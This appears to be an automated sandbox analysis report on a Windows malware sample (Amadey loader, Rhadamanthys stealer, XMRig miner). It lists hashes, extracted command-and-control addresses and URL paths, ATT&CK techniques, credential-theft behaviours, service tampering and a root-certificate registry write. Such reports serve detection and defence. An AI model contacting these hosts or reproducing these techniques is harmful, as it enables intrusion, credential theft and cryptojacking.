amadey | 3f80c20fecafcfa264532eae938edb81dd04c8d0335c366f0b3c4c64ad529967

Analysis

max time kernel
152s
max time network
182s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
24-03-2024 23:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Launcher.exe
Size

364KB
MD5

93fde4e38a84c83af842f73b176ab8dc
SHA1

e8c55cc160a0a94e404f544b22e38511b9d71da8
SHA256

fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03
SHA512

48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec
SSDEEP

6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2

Score

10^/10

amadey rhadamanthys xmrig evasion miner persistence spyware stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

4.19

http://185.196.10.188

http://45.159.189.140

http://89.23.103.42

Attributes

install_dir
b4e248fdbd
install_file
Dctooux.exe
strings_key
01edd7c913096383774168b5aeebc95e
url_paths
/hb9IvshS/index.php

/hb9IvshS2/index.php

/hb9IvshS3/index.php

rc4.plain

Extracted

Family

amadey

Version

4.18

http://185.196.10.188

http://89.23.103.42

http://45.159.189.140

Attributes

strings_key
40bfc938b9af6a10b5f8b3b4398e4941
url_paths
/hb9IvshS/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

plugin0324

description pid process target process

PID 4536 created 2624 4536 plugin0324 sihost.exe
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

description	pid	process	target process
PID 4536 created 2624	4536	plugin0324	sihost.exe

XMRig Miner payload 9 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2412-283-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-284-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-288-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-292-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-290-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-293-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-294-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-325-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/2412-326-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/2412-277-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-278-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-279-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-280-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-282-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-283-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-284-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-288-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-292-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-290-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-293-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-294-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-325-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/2412-326-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Downloads MZ/PE file
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service
T1102

Processes:

flow ioc

75 raw.githubusercontent.com
76 raw.githubusercontent.com
93 raw.githubusercontent.com
104 raw.githubusercontent.com

flow	ioc
75	raw.githubusercontent.com
76	raw.githubusercontent.com
93	raw.githubusercontent.com
104	raw.githubusercontent.com

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Launcher.exe3plugin0324Dctooux.exeLauncher.exeLaunhcer.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	3plugin0324
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Dctooux.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Launhcer.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.exekuytqawknxye.exe2plugin0324

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe
File opened for modification	C:\Windows\system32\MRT.exe	2plugin0324
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

2plugin0324kuytqawknxye.exe

pid process

1256 2plugin0324
1256 2plugin0324
2272 kuytqawknxye.exe
2272 kuytqawknxye.exe

pid	process
1256	2plugin0324
1256	2plugin0324
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

kuytqawknxye.exe

description	pid	process	target process
PID 2272 set thread context of 3076	2272	kuytqawknxye.exe	conhost.exe
PID 2272 set thread context of 2412	2272	kuytqawknxye.exe	dwm.exe

Drops file in Windows directory 1 IoCs

Processes:

3plugin0324

description ioc process

File created C:\Windows\Tasks\Dctooux.job 3plugin0324

description	ioc	process
File created	C:\Windows\Tasks\Dctooux.job	3plugin0324

Executes dropped EXE 14 IoCs

Processes:

Launhcer.exeLauncher.exewget.exewinrar.exeplugin0324wget.exewinrar.exe2plugin0324wget.exewinrar.exe3plugin0324Dctooux.exekuytqawknxye.exeDctooux.exe

pid	process
2352	Launhcer.exe
3120	Launcher.exe
4956	wget.exe
4956	winrar.exe
4536	plugin0324
3672	wget.exe
4020	winrar.exe
1256	2plugin0324
4940	wget.exe
1624	winrar.exe
3856	3plugin0324
2988	Dctooux.exe
2272	kuytqawknxye.exe
1552	Dctooux.exe

Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

3076 sc.exe
2672 sc.exe
3816 sc.exe
1900 sc.exe
3200 sc.exe
3644 sc.exe
816 sc.exe
4528 sc.exe
2172 sc.exe
5100 sc.exe
1936 sc.exe
432 sc.exe
4724 sc.exe
1072 sc.exe
Loads dropped DLL 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

pid process

4964 rundll32.exe
316 rundll32.exe
3484 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
3076	sc.exe
2672	sc.exe
3816	sc.exe
1900	sc.exe
3200	sc.exe
3644	sc.exe
816	sc.exe
4528	sc.exe
2172	sc.exe
5100	sc.exe
1936	sc.exe
432	sc.exe
4724	sc.exe
1072	sc.exe

pid	process
4964	rundll32.exe
316	rundll32.exe
3484	rundll32.exe

Program crash 23 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1240	4536	WerFault.exe	plugin0324
500	3856	WerFault.exe	3plugin0324
3480	3856	WerFault.exe	3plugin0324
1664	3856	WerFault.exe	3plugin0324
3496	3856	WerFault.exe	3plugin0324
852	3856	WerFault.exe	3plugin0324
4040	3856	WerFault.exe	3plugin0324
3432	3856	WerFault.exe	3plugin0324
1952	3856	WerFault.exe	3plugin0324
1876	3856	WerFault.exe	3plugin0324
2720	3856	WerFault.exe	3plugin0324
4880	2988	WerFault.exe	Dctooux.exe
1192	1552	WerFault.exe	Dctooux.exe
2384	1552	WerFault.exe	Dctooux.exe
3856	1552	WerFault.exe	Dctooux.exe
1728	1552	WerFault.exe	Dctooux.exe
4456	1552	WerFault.exe	Dctooux.exe
3608	1552	WerFault.exe	Dctooux.exe
1148	1552	WerFault.exe	Dctooux.exe
4972	1552	WerFault.exe	Dctooux.exe
1428	1552	WerFault.exe	Dctooux.exe
3684	1552	WerFault.exe	Dctooux.exe
3116	1552	WerFault.exe	Dctooux.exe

Modifies data under HKEY_USERS 46 IoCs

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Launcher.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exeplugin0324dialer.exe2plugin0324powershell.exekuytqawknxye.exepowershell.exedwm.exe

pid	process
3248	powershell.exe
3248	powershell.exe
3248	powershell.exe
1716	powershell.exe
1716	powershell.exe
1716	powershell.exe
4536	plugin0324
4536	plugin0324
4576	dialer.exe
4576	dialer.exe
4576	dialer.exe
4576	dialer.exe
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1660	powershell.exe
1660	powershell.exe
1660	powershell.exe
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
1256	2plugin0324
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
4924	powershell.exe
4924	powershell.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2272	kuytqawknxye.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
2412	dwm.exe
